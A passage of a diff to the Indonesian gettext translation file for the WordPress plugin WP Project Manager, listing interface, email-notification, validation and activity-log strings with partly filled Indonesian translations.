views/assets/src/components/project-discussions/individual-discussions.vue:61 -#: views/assets/src/components/project-lists/project-summary.vue:104 -#: views/assets/src/components/project-overview/overview.vue:68 -#: views/assets/src/components/project-task-lists/lists.vue:111 -#: views/assets/src/components/project-task-lists/single-task.vue:174 -msgid "Comments" -msgstr "" - -#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 -#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 -msgid "- Milestone -" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:36 -msgid "Attached to" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:38 -msgid "by" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:40 -msgid "admin" -msgstr "" - -#: views/assets/src/components/project-files/files.vue:62 -#, fuzzy -#| msgid "No users found" -msgid "No result found!" -msgstr "Pengguna tidak ditemukan" - -#: views/assets/src/components/project-lists/project-create-form.vue:13 -#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 -msgid "- Project Category -" -msgstr "" - -#: views/assets/src/components/project-lists/project-create-form.vue:50 -msgid "Notify Co-Workers" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:6 -msgid "Active" -msgstr "" - -#: views/assets/src/components/project-lists/project-header-menu.vue:20 -msgid "All" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 -#: views/emails/html/new-project.php:10 -msgid "New Project" -msgstr "Proyek Baru" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:7 -msgid "Username" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:12 -msgid "First Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:17 -msgid "Last Name" -msgstr "" - -#: views/assets/src/components/project-lists/project-new-user-form.vue:22 -msgid "Email" -msgstr "" - -#: views/assets/src/components/project-lists/project-summary.vue:4 -msgid "No projects found." -msgstr "" - -#: views/assets/src/components/project-lists/project-summary.vue:63 -#: views/assets/src/components/project-overview/overview.vue:57 -msgid "Tasks" -msgstr "Tugas" - -#: views/assets/src/components/project-milestones/completed-milestones.vue:3 -msgid "Completed Milestones" -msgstr "Target yang selesai" - -#: views/assets/src/components/project-milestones/completed-milestones.vue:43 -msgid "Completed on:" -msgstr "Diselesaikan pada:" - -#: views/assets/src/components/project-milestones/late-milestones.vue:3 -msgid "Late Milestones" -msgstr "Target yang terlambat" - -#: views/assets/src/components/project-milestones/milestones.vue:21 -msgid "" -"Create a lifecycle of your projects using milestones. Time mark the " -"different stages of your project with multiple milestones and also it will " -"help the assigned people to aim for a date to complete the project according " -"to those steps." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:37 -msgid "When to use Milestones?" -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:40 -msgid "To set a target date for the project overall." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:41 -msgid "To divide a project into several development-time phases." -msgstr "" - -#: views/assets/src/components/project-milestones/milestones.vue:42 -msgid "To coordinate projects and assigned persons timely." -msgstr "" - -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 -msgid "Upcoming Milestones" -msgstr "Target yang akan datang" - -#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 -#, fuzzy -#| msgid "left" -msgid "left -" -msgstr "kiri" - -#: views/assets/src/components/project-overview/overview.vue:107 -msgid "Last 30 days" -msgstr "" - -#: views/assets/src/components/project-overview/overview.vue:116 -msgid "Users" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:6 -msgid "" -"You can list all your Tasks in a single discussion using a Task list. Use " -"these lists to divide a project into several sectors, assign co-workers and " -"check progress." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:14 -msgid "When to use Task Lists?" -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:17 -msgid "To partition a project internals." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:18 -msgid "To mark milestone points." -msgstr "" - -#: views/assets/src/components/project-task-lists/default-list-page.vue:19 -msgid "To assign people to tasks." -msgstr "" - -#: views/assets/src/components/project-task-lists/list-comments.vue:4 -msgid "Discuss this task list" -msgstr "" - -#: views/assets/src/components/project-task-lists/list-tasks.vue:9 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 -msgid "No tasks found." -msgstr "" - -#: views/assets/src/components/project-task-lists/lists.vue:77 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 -msgid "More Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 -msgid "New Task List" -msgstr "Daftar Tugas Baru" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 -msgid "Incomplete Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 -msgid "Completed Tasks" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-list.vue:29 -msgid "Back to Task Lists" -msgstr "" - -#: views/assets/src/components/project-task-lists/single-task.vue:203 -msgid "Shift+Enter for line break" -msgstr "" - -#: views/assets/src/components/project-task-lists/task-comments.vue:4 -msgid "Discuss this task" -msgstr "" - -#: views/assets/src/components/settings/email.vue:7 -#: views/assets/src/components/settings/header.vue:9 -msgid "E-Mail Settings" -msgstr "Pengaturan E-Mail" - -#: views/assets/src/components/settings/email.vue:12 -msgid "From Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:20 -msgid "Links in the Email" -msgstr "" - -#: views/assets/src/components/settings/email.vue:25 -msgid "Link to Backend" -msgstr "" - -#: views/assets/src/components/settings/email.vue:28 -msgid "" -"Select where do you want to take the user. Notification emails contain links." -msgstr "" - -#: views/assets/src/components/settings/email.vue:35 -msgid "E-Mail Type" -msgstr "Tipe E-Mail" - -#: views/assets/src/components/settings/email.vue:39 -msgid "HTML Mail" -msgstr "Model HTML" - -#: views/assets/src/components/settings/email.vue:40 -msgid "Plain Text" -msgstr "Text Biasa" - -#: views/assets/src/components/settings/email.vue:46 -msgid "Send email via Bcc" -msgstr "" - -#: views/assets/src/components/settings/email.vue:52 -msgid "Enable Bcc" -msgstr "" - -#: views/assets/src/components/settings/general.vue:7 -#: views/assets/src/components/settings/header.vue:5 -msgid "General Settings" -msgstr "" - -#: views/assets/src/components/settings/general.vue:12 -msgid "File Upload Limit" -msgstr "Batasan Unggah Berkas" - -#: views/assets/src/components/settings/general.vue:16 -msgid "File Size in Megabytes. e.g: 2" -msgstr "" - -#: views/assets/src/components/settings/general.vue:21 -msgid "Projects Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:25 -msgid "-1 for unlimited" -msgstr "" - -#: views/assets/src/components/settings/general.vue:31 -msgid "Task Lists Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:39 -msgid "Incomplete Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:47 -msgid "Completed Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:55 -msgid "Project Managing Capability" -msgstr "" - -#: views/assets/src/components/settings/general.vue:65 -#: views/assets/src/components/settings/general.vue:81 -msgid "Select the user roles who can see and manage all projects." -msgstr "" - -#: views/assets/src/components/settings/general.vue:71 -msgid "Project Creation Capability" -msgstr "" - -#: views/emails/html/complete-task.php:12 -msgid "Task status has been changed" -msgstr "" - -#: views/emails/html/complete-task.php:25 -msgid "Changed by" -msgstr "" - -#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 -#: views/emails/html/update-task.php:24 -#, fuzzy -#| msgid "Due date" -msgid "due date" -msgstr "Tanggal penyelesaian" - -#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 -#: views/emails/html/update-task.php:29 -msgid "start at" -msgstr "" - -#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 -#: views/emails/html/update-task.php:46 -msgid "View Task" -msgstr "Lihat Tugas" - -#: views/emails/html/new-comment.php:12 -msgid "New Comment" -msgstr "" - -#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 -msgid "Commented By" -msgstr "" - -#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 -msgid "On" -msgstr "" - -#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 -#: views/emails/mention.php:47 -msgid "View Comment" -msgstr "" - -#: views/emails/html/new-message.php:12 -msgid "New Message" -msgstr "Pesan Baru" - -#: views/emails/html/new-message.php:19 -msgid "Message Created By" -msgstr "" - -#: views/emails/html/new-message.php:28 -msgid "Title" -msgstr "" - -#: views/emails/html/new-message.php:49 -msgid "View Message" -msgstr "Lihat Pesan" - -#: views/emails/html/new-project.php:16 -msgid "Project Created By" -msgstr "" - -#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 -#: views/emails/mention.php:37 -msgid "Hello" -msgstr "" - -#: views/emails/html/new-project.php:25 -msgid "You are assigned to a new project \"%s\" by %s." -msgstr "" - -#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 -msgid "You can see the project by going here:" -msgstr "" - -#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 -msgid "View Project" -msgstr "Lihat Proyek" - -#: views/emails/html/new-task.php:12 -msgid "New task has been assigned to you" -msgstr "" - -#: views/emails/html/new-task.php:18 -msgid "Created By" -msgstr "" - -#: views/emails/html/update-project.php:15 -msgid "Project Updated By" -msgstr "" - -#: views/emails/html/update-project.php:24 -msgid "You are assigned to a project \"%s\" by %s." -msgstr "" - -#: views/emails/html/update-task.php:12 -msgid "Update task has been assigned to you" -msgstr "" - -#: views/emails/html/update-task.php:18 -#, fuzzy -#| msgid "Update List" -msgid "Updated By" -msgstr "Perbarui Daftar" - -#: views/emails/mention.php:39 -msgid "You are mentioned in a comment by" -msgstr "" - -#: views/emails/mention.php:41 -msgid "Please click the link bellow to view the comment." -msgstr "" - -#. Plugin Name of the plugin/theme -msgid "WP Project Manager" -msgstr "" - -#. Plugin URI of the plugin/theme -msgid "https://wedevs.com/wp-project-manager-pro/" -msgstr "" - -#. Description of the plugin/theme -msgid "" -"WordPress Project Management plugin. Manage your projects and tasks, get " -"things done." -msgstr "" - -#. Author of the plugin/theme -msgid "weDevs" -msgstr "" - -#. Author URI of the plugin/theme -msgid "https://wedevs.com" -msgstr "" - -#~ msgid "Project created by %s" -#~ msgstr "Proyek dibuat oleh %s" - -#~ msgid "Project details updated by %s" -#~ msgstr "Detail proyek diperbarui oleh %s" - -#~ msgid "Message \"%s\" deleted by %s" -#~ msgstr "Pesan \"%s\" dihapus oleh %s" - -#~ msgid "%s deleted a comment" -#~ msgstr "%s menghapus sebuah komentar" - -#~ msgid "Add a comment..." -#~ msgstr "Tambahkan sebuah komentar..." - -#~ msgid "Messages" -#~ msgstr "Pesan" - -#~ msgid "message post type" -#~ msgstr "tipe pos pesan" - -#~ msgid "Edit Message" -#~ msgstr "Sunting Pesan" - -#~ msgid "Search Messages" -#~ msgstr "Cari Pesan" - -#~ msgid "Parent Message" -#~ msgstr "Induk Pesan" - -#~ msgid "Add New Milestone" -#~ msgstr "Tambah Target Baru" - -#~ msgid "New Milestone" -#~ msgstr "Target Baru" - -#~ msgid "View Milestone" -#~ msgstr "Lihat target" - -#~ msgid "Search Milestone" -#~ msgstr "Cari target" - -#~ msgid "Parent Milestone" -#~ msgstr "Target Induk" - -#~ msgid "project manager post type" -#~ msgstr "tipe pos manajer proyek" - -#~ msgid "Add Project" -#~ msgstr "Tambah Proyek" - -#~ msgid "Edit Project" -#~ msgstr "Sunting Proyek" - -#~ msgid "Search Project" -#~ msgstr "Cari Proyek" - -#~ msgid "Parent Project" -#~ msgstr "Proyek Induk" - -#~ msgid "Add Task List" -#~ msgstr "Tambah Daftar Tugas" - -#~ msgid "Add New Task List" -#~ msgstr "Tambah Daftar Tugas Baru" - -#~ msgid "Edit Task List" -#~ msgstr "Sunting Daftar Tugas" - -#~ msgid "View Task List" -#~ msgstr "Lihat Daftar Tugas" - -#~ msgid "Search Task List" -#~ msgstr "Cari Daftar Tugas" - -#~ msgid "Parent Task List" -#~ msgstr "Daftar Tugas Induk" - -#~ msgid "Add New Task" -#~ msgstr "Tambah Tugas Baru" - -#~ msgid "Edit Task" -#~ msgstr "Sunting Tugas" - -#~ msgid "New Task" -#~ msgstr "Tugas Baru" - -#~ msgid "Search Task" -#~ msgstr "Cari Tugas" - -#~ msgid "Parent Task" -#~ msgstr "Tugas Induk" - -#~ msgid "Delete project" -#~ msgstr "Hapus proyek" - -#~ msgid "Add this comment" -#~ msgstr "Tambahkan komentar ini" - -#~ msgid "late" -#~ msgstr "telat" - -#~ msgid "Attached to %s by %s" -#~ msgstr "Dilampirkan ke %s oleh %s" - -#~ msgid "Error: Message not found" -#~ msgstr "Kesalahan: Pesan tidak ditemukan" - -#~ msgid "Error: Project not found" -#~ msgstr "Kesalahan: Proyek tidak ditemukan" - -#~ msgid "Error: Permission denied" -#~ msgstr "Kesalahan: Izin ditolak" - -#~ msgid "Message %s created by %s" -#~ msgstr "Pesan %s dibuat oleh %s" - -#~ msgid "Message %s updated by %s" -#~ msgstr "Pesan %s diperbarui oleh %s" - -#~ msgid "To-do list %s created by %s" -#~ msgstr "Daftar tugas %s dibuat oleh %s" - -#~ msgid "To-do list %s updated by %s" -#~ msgstr "Daftar tugas %s diperbarui oleh %s" - -#~ msgid "To-do list \"%s\" deleted by %s" -#~ msgstr "Daftar tugas \"%s\" dihapus oleh %s" - -#~ msgid "To-do %s added on to-do list %s by %s" -#~ msgstr "Tugas %s ditambahkan ke daftar tugas %s oleh %s" - -#~ msgid "To-do %s updated by %s" -#~ msgstr "Tugas %s diperbarui oleh %s" - -#~ msgid "To-do %s completed by %s" -#~ msgstr "Tugas %s diselesaikan oleh %s" - -#~ msgid "Marked to-do as done" -#~ msgstr "Tandai tugas sudah selesai" - -#~ msgid "To-do %s marked un-done by %s" -#~ msgstr "Tugas %s ditandai belum selesai oleh %s" - -#~ msgid "Re-opened to-do" -#~ msgstr "Tugas yang dibuka kembali" - -#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" -#~ msgstr "Tugas \"%s\" dihapus dari daftar tugas %s oleh %s" - -#~ msgid "Milestone \"%s\" added by %s " -#~ msgstr "Target \"%s\" ditambahkan oleh %s " - -#~ msgid "Milestone \"%s\" updated by %s " -#~ msgstr "Target \"%s\" diperbarui oleh %s " - -#~ msgid "Milestone \"%s\" deleted by %s " -#~ msgstr "Target \"%s\" dihapus oleh %s " - -#~ msgid "Milestone \"%s\" marked as complete by %s " -#~ msgstr "Target \"%s\" ditandai selesai oleh %s " - -#~ msgid "Milestone \"%s\" marked as incomplete by %s " -#~ msgstr "Target \"%s\" ditandai belum selesai oleh %s " - -#~ msgid "General" -#~ msgstr "Umum" - -#~ msgid "No Messages Found" -#~ msgstr "Tidak Ada Pesan Ditemukan" - -#~ msgid "No Messages Found in Trash" -#~ msgstr "Tidak Ada Pesan Ditemukan di Sampah" - -#~ msgid "No Milestone Found" -#~ msgstr "Tidak Ada Taget Ditemukan" - -#~ msgid "No Milestone Found in Trash" -#~ msgstr "Tidak Ada Target Ditemukan di Sampah" - -#~ msgid "No Project Found in Trash" -#~ msgstr "Tidak Ada Proyek Ditemukan di Sampah" - -#~ msgid "No Task List Found" -#~ msgstr "Tidak Ada Daftar Tugas Ditemukan" - -#~ msgid "No Task List Found in Trash" -#~ msgstr "Tidak Ada Daftar Tugas Ditemukan di Sampah" - -#~ msgid "No Task Found" -#~ msgstr "Tidak Ada Daftar Tugas Ditemukan" - -#~ msgid "No Task Found in Trash" -#~ msgstr "Tidak Ada Daftar Tugas Ditemukan di Sampah" - -#~ msgid "Select co-workers" -#~ msgstr "Pilih teman kerja" - -#~ msgid "Are you sure to delete this to-do?" -#~ msgstr "Apakah Anda yakin untuk menghapus tugas ini?" - -#~ msgid "Add this to-do" -#~ msgstr "Tambahkan tugas ini" - -#~ msgid "Add a new to-do" -#~ msgstr "Tambah tugas baru" - -#~ msgid "-- milestone --" -#~ msgstr "-- target --" - -#~ msgid "Are you sure to delete this to-do list?" -#~ msgstr "Apakah Anda yakin untuk menghapus daftar tugas ini?" - -#~ msgid "Update comment" -#~ msgstr "Perbarui komentar" - -#~ msgid "Edit milestone" -#~ msgstr "Sunting target" - -#~ msgid "Mark un-complete" -#~ msgstr "Tandai belum selesai" - -#~ msgid "To-do List" -#~ msgstr "Daftar Tugas" - -#~ msgid "Notify Co-workers" -#~ msgstr "Informasikan teman kerja" - -#~ msgid "thread" -#~ msgstr "tulisan" - -#~ msgid "Discuss this to-do list" -#~ msgstr "Diskusikan daftar tugas ini" - -#~ msgid "file size in Megabyte. e.g: 2" -#~ msgstr "ukuran berkas dalam Megabyte, misal: 2" - -#~ msgid "New Project Subject" -#~ msgstr "Subjek Proyek baru" - -#~ msgid "New Project Body" -#~ msgstr "Konten Proyek Baru" - -#~ msgid "New Message Subject" -#~ msgstr "Subjek Pesan Baru" - -#~ msgid "New Message Body" -#~ msgstr "Isi Pesan Baru" - -#~ msgid "New Comment Subject" -#~ msgstr "Subjek Komentar Baru" - -#~ msgid "New Assigned Task Subject" -#~ msgstr "Subjek Tugas yang Ditugaskan Baru" - -#~ msgid "-- assign to --" -#~ msgstr "-- ditugaskan untuk --" - -#~ msgid "" -#~ "To attach, select files " -#~ "from your computer." -#~ msgstr "" -#~ "Untuk melampirkan, pilih " -#~ "berkas dari komputer Anda." - -#~ msgid "%d Comments" -#~ msgstr "%d Komentar" - -#~ msgid "(Completed by %s on %s)" -#~ msgstr "(Dielesaikan oleh %s pada %s)" - -#~ msgid "Tasklist name" -#~ msgstr "Nama daftar tugas" - -#~ msgid "Add a to-do" -#~ msgstr "Tambah tugas" - -#~ msgid "Message details here" -#~ msgstr "Detail pesan di sini" - -#~ msgid "Details about milestone (optional)" -#~ msgstr "Detail target (opsional)" - -#~ msgid "Reopen" -#~ msgstr "Buka kembali" - -#~ msgid "" -#~ "Download or go to the discussion." -#~ msgstr "Unduh atau lihat diskusi." - -#~ msgid "No Files Found!" -#~ msgstr "Berkas Tidak Ditemukan!" - -#~ msgid "Add New" -#~ msgstr "Tambah baru" - -#~ msgid "No messages found! How about adding one?" -#~ msgstr "Tidak ada pesan ditemukan! Bagaimana jika mebuat satu baru?" - -#~ msgid "← back" -#~ msgstr "← kembali" - -#~ msgid "No Milestone Found!" -#~ msgstr "Target Tidak Ditemukan!" - -#~ msgid "Add new milestone" -#~ msgstr "Tambah target baru" - -#~ msgid "Project Info" -#~ msgstr "Info Proyek" - -#~ msgid "Oh dear, no To-do list found!" -#~ msgstr "Tidak ada daftar tugas ditemukan!" - -#~ msgid "Discuss this to-do" -#~ msgstr "Diskusikan tugas ini" +msgid "" +msgstr "" +"Project-Id-Version: WP Project Manager\n" +"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" +"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" +"PO-Revision-Date: 2018-07-11 12:53+0600\n" +"Last-Translator: Rizqy Hidayat \n" +"Language-Team: Tareq Hasan \n" +"Language: id_ID\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-KeywordsList: _e;__;gettext_noop;esc_attr_e\n" +"X-Poedit-Basepath: .\n" +"X-Generator: Poedit 2.0.8\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" +"X-Poedit-SearchPath-0: ..\n" + +#: core/Notifications/Emails/Complete_Task_Notification.php:42 +msgid "[%s] %s Task mark as %s in %s" +msgstr "" + +#: core/Notifications/Emails/New_Comment_Notification.php:53 +#: core/Notifications/Emails/Update_Comment_Notification.php:52 +#: views/emails/html/new-message.php:39 views/emails/mention.php:13 +msgid "Message" +msgstr "Pesan" + +#: core/Notifications/Emails/New_Comment_Notification.php:58 +#: core/Notifications/Emails/Update_Comment_Notification.php:55 +#: views/emails/mention.php:20 +msgid "Task List" +msgstr "Daftar Tugas" + +#: core/Notifications/Emails/New_Comment_Notification.php:63 +#: core/Notifications/Emails/Update_Comment_Notification.php:58 +#: views/assets/js/pm.js:18541 +#: views/assets/src/components/project-overview/directive.js:10 +#: views/emails/mention.php:25 +msgid "Task" +msgstr "Tugas" + +#: core/Notifications/Emails/New_Comment_Notification.php:68 +#, fuzzy +#| msgid "Files" +msgid "File" +msgstr "Berkas" + +#: core/Notifications/Emails/New_Comment_Notification.php:81 +msgid "[%s][%s] New Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/New_Message_Notification.php:47 +msgid "[%s][%s] New Message: %s" +msgstr "" + +#: core/Notifications/Emails/New_Project_Notification.php:24 +msgid "[%s] New Project Invitation: %s" +msgstr "" + +#: core/Notifications/Emails/New_Task_Notification.php:41 +msgid "[%s][%s] New Task Assigned: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Comment_Notification.php:49 +msgid "[%s][%s] Update Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Project_Notification.php:24 +#, fuzzy +#| msgid "Update Project" +msgid "[%s] Updated Project: %s" +msgstr "Perbarui Proyek" + +#: core/Notifications/Emails/Update_Task_Notification.php:40 +msgid "[%s][%s] Update Task Assigned: %s" +msgstr "" + +#: core/Permissions/Access_Project.php:22 +#: core/Permissions/Create_Discuss.php:17 +#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 +#: core/Permissions/Create_Task_List.php:17 +#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 +#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 +#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 +#: core/Permissions/Project_Manage_Capability.php:28 +msgid "You have no permission." +msgstr "" + +#: core/Permissions/Complete_Task.php:36 +msgid "You have no permission to change task status." +msgstr "" + +#: core/Permissions/Create_File.php:16 +msgid "You have no permission to create message." +msgstr "" + +#: core/Permissions/Project_Craete_Capability.php:17 +msgid "You have no permission to create project." +msgstr "" + +#: core/Upgrades/Upgrade.php:136 +msgid "" +"WP Project Manager Data Update Required – Please " +"click the button below to update to the latest version." +msgstr "" + +#: core/Upgrades/Upgrade.php:139 +msgid "Run the Update" +msgstr "" + +#: core/Upgrades/Upgrade.php:140 +#, fuzzy +#| msgid "Load More..." +msgid "Read More" +msgstr "Muat Lebih Banyak..." + +#: core/Upgrades/Upgrade.php:148 +msgid "" +"It is strongly recommended that you backup your database before proceeding. " +"Are you sure you wish to run the updater now?" +msgstr "" + +#: core/WP/Enqueue_Scripts.php:65 +msgid "Allowed Files" +msgstr "Berkas yang Diperbolehkan" + +#: core/WP/Frontend.php:140 +msgid "Every %d Minutes PM schedule" +msgstr "" + +#: core/WP/Frontend.php:167 +msgid "

WP Project Manager Pro required version 2.0 or above.

" +msgstr "" + +#: core/WP/Frontend.php:168 +msgid "

To migrate version 2.0, Please read mmigration docs

" +msgstr "" + +#: core/WP/Frontend.php:177 +msgid "Read Docs" +msgstr "" + +#: core/WP/Frontend.php:284 +msgid "Get Pro" +msgstr "" + +#: core/WP/Frontend.php:287 core/WP/Menu.php:36 +msgid "Settings" +msgstr "Pengaturan" + +#: core/WP/Frontend.php:288 +msgid "Documentation" +msgstr "" + +#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 +msgid "Project Manager" +msgstr "Manajer Proyek" + +#: core/WP/Menu.php:18 +msgid "Projects" +msgstr "Proyek" + +#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 +msgid "Categories" +msgstr "" + +#: core/WP/Menu.php:22 +msgid "My Tasks" +msgstr "" + +#: core/WP/Menu.php:23 +msgid "Calendar" +msgstr "" + +#: core/WP/Menu.php:26 +msgid "Reports" +msgstr "" + +#: core/WP/Menu.php:27 +msgid "Progress" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:23 +msgid "Manager" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:25 +msgid "Manager is a person who manages the project." +msgstr "" + +#: db/seeds/RoleTableSeeder.php:33 +msgid "Co-Worker" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:35 +msgid "Co-worker is person who works under a project." +msgstr "" + +#: src/Category/Validators/Create_Category.php:10 +#: src/Category/Validators/Update_Category.php:10 +msgid "Category title is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:11 +msgid "Category id is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:12 +msgid "Category id must be greater than zero" +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:10 +#: src/Comment/Validators/Update_Comment.php:10 +msgid "Comment title is required." +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:11 +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 +#: src/Milestone/Validators/Create_Milestone.php:11 +#: src/Project/Validators/Update_Project.php:11 +#: src/Task/Validators/Create_Task.php:11 +#: src/Task_List/Validators/Create_Task_List.php:11 +msgid "Project id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:11 +msgid "Comment id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:12 +msgid "Comment id must be greater than zero" +msgstr "" + +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 +msgid "Discussion title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 +msgid "Discuss title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 +msgid "Discuss id is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 +msgid "Discuss id must be greater than zero" +msgstr "" + +#: src/File/Controllers/File_Controller.php:97 +msgid "file not found" +msgstr "" + +#: src/Milestone/Controllers/Milestone_Controller.php:58 +msgid "this is mishu" +msgstr "" + +#: src/Milestone/Validators/Create_Milestone.php:10 +#: src/Milestone/Validators/Update_Milestone.php:10 +msgid "Milestone title is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:11 +msgid "Milestone id is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:12 +msgid "Milestone id must be greater than zero" +msgstr "" + +#: src/Project/Validators/Create_Project.php:10 +#: src/Project/Validators/Update_Project.php:10 +msgid "Project title is required." +msgstr "" + +#: src/Project/Validators/Update_Project.php:12 +msgid "Project id must be greater than zero" +msgstr "" + +#: src/Role/Validators/Create_Role.php:10 +#: src/Role/Validators/Update_Role.php:10 +msgid "Role title is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:11 +msgid "Role id is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:12 +msgid "Role id must be greater than zero" +msgstr "" + +#: src/Task/Validators/Create_Task.php:10 +#: src/Task/Validators/Update_Task.php:10 +msgid "Task title is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:11 +msgid "Task id is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:12 +msgid "Task id must be greater than zero" +msgstr "" + +#: src/Task_List/Validators/Create_Task_List.php:10 +#: src/Task_List/Validators/Update_Task_List.php:10 +msgid "Task list title is required." +msgstr "" + +#: src/Task_List/Validators/Update_Task_List.php:11 +#, fuzzy +#| msgid "Tasklist detail" +msgid "Task list id is required." +msgstr "Detail daftar tugas" + +#: src/Task_List/Validators/Update_Task_List.php:12 +msgid "Task list id must be greater than zero" +msgstr "" + +#: texts/activities.php:6 +msgid "%1$s has created a project titled as %2$s" +msgstr "" + +#: texts/activities.php:10 +msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:14 +msgid "%1$s has updated %2$s project description." +msgstr "" + +#: texts/activities.php:18 +msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:22 +msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:26 +msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:30 +msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:34 +msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:40 +msgid "%1$s has created a discussion board titled as %2$s." +msgstr "" + +#: texts/activities.php:44 +msgid "" +"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:48 +msgid "%1$s has updated the description of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:52 +msgid "%1$s has updated the order of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:58 +msgid "%1$s has created a task list titled as %2$s." +msgstr "" + +#: texts/activities.php:62 +msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:66 +msgid "%1$s has updated the description of a task list, %2$s." +msgstr "" + +#: texts/activities.php:70 +msgid "%1$s has updated the order of a task list, %2$s." +msgstr "" + +#: texts/activities.php:76 +msgid "%1$s has created a milestone, %2$s." +msgstr "" + +#: texts/activities.php:80 +msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:84 +msgid "%1$s has updated the description of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:88 +msgid "%1$s has updated the order of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:94 +msgid "%1$s has created a task, %2$s." +msgstr "" + +#: texts/activities.php:98 +msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:102 +msgid "%1$s has updated the description of a task, %2$s." +msgstr "" + +#: texts/activities.php:106 +msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:110 +msgid "%1$s has updated the 